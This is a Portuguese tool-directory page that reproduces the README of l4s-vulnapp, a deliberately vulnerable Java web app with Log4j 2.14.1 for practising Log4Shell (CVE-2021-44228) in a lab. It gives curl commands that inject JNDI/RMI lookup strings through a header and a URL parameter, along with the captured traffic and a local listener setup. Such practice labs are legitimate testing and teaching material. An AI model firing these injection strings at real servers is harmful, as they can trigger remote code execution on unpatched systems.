Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
l4s-vulnapp — Esta é uma aplicação web Java potencialmente vulnerável contendo Log4j afetada por log4shell(CVE-2021-44228). | Kitploit
Ferramentas/GitHubGitHub/ktokkawu/l4s-vulnapp
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubktokkawu/l4s-vulnapp

l4s-vulnapp

Esta é uma aplicação web Java potencialmente vulnerável contendo Log4j afetada por log4shell(CVE-2021-44228).

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aplicação Vulnerável Log4Shell (l4s-vulnapp)

Esta é uma aplicação web Java potencialmente vulnerável que contém Log4j(2.14.1) afetada por log4shell(CVE-2021-44228).

Ambiente verificado e várias versões

  • AdoptOpenJDK 17.0.10+7
  • Gradle 8.6
  • Gretty 4.1.2
  • Apache Tomcat 10.1.15
  • Apache Log4j Core 2.14.1

Preparação

  • Faça o download e extraia o arquivo zip do AdoptOpenJDK.
  • Defina as variáveis PATH e JAVA_HOME.
  • Execute o comando java --version para verificar se o AdoptOpenJDK funciona corretamente.

[Nota]
Se quiser alterar a versão do JDK, a porta do Tomcat, etc., edite o build.gradle.

Construir e Executar

Execute o Gradle wrapper com o build.gradle.

root@kitploit:~
# on Linux
./gradlew appRun

# on Windows
.\gradlew.bat appRun

URL principal:

root@kitploit:~
http://localhost:8080/l4s-vulnapp/

[Nota]
O Log4Shell é acionado apenas quando a aplicação realiza algum log com Log4j.
Por exemplo, se a seguinte URL for acessada, o Log4Shell será executado.

root@kitploit:~
http://localhost:8080/l4s-vulnapp/servlet

Você pode verificar o Log4Shell alterando o valor de "x-param" ou adicionando o cabeçalho "x-log" à requisição HTTP ao acessá-la.
Esses parâmetros serão registrados pelo Log4j.
No entanto, isso só é válido se um servidor de escuta estiver em execução em localhost:8081.

root@kitploit:~
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D

Resultados da Verificação

  • HTTP Request

    root@kitploit:~
    GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
    Host: localhost:8080
    Connection: keep-alive
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/122.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/  *;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost:8080/l4s-vulnapp/
    Accept-Encoding: gzip, deflate, br, zstd
    Accept-Language: ja,en-US;q=0.9,en;q=0.8
    
    
    
  • HTTP Response

    root@kitploit:~
    HTTP/1.1 200
    Content-Type: text/plain;charset=utf-8
    Content-Length: 62
    Date: Fri, 15 Mar 2024 18:42:56 GMT
    Keep-Alive: timeout=60
    Connection: keep-alive
    
    Hello
    Logging to console using vulnerable Log4j2 by parameter
    
  • RMI Request by l4s-vulnapp

    root@kitploit:~
    2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
    2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
    2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
    2024/03/16 03:42:55: [Hex data] ===== start =====
    2024/03/16 03:42:56: 00000000   4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00  JRMI..K.........
    2024/03/16 03:42:56: 00000010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    2024/03/16 03:42:56: [Hex data] =====  end  =====
    2024/03/16 03:42:56: [Raw data] ===== start =====
    2024/03/16 03:42:56: JRMI
    2024/03/16 03:42:56: [Raw data] =====  end  =====
    

Opção

O l4s-ls.ps1 inicia um servidor de escuta. Execute este script no Windows PowerShell/Command Prompt.
Este servidor recebe comunicações binárias como LDAP e RMI e pode exibir o conteúdo dessas comunicações em Hex e Raw.
Se o script apresentar mau funcionamento, use Ctrl + C para interromper.

[Cuidado]
Ao executar este script pela primeira vez, é necessário selecionar "Private Network" no pop-up do Windows.

root@kitploit:~
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081

Referências

  • GitHub - tothi/log4shell-vulnerable-app
  • ももいろテクノロジー - PowerShellでnc(netcat)を書いてみる (2015/4/16)
Baixar ferramenta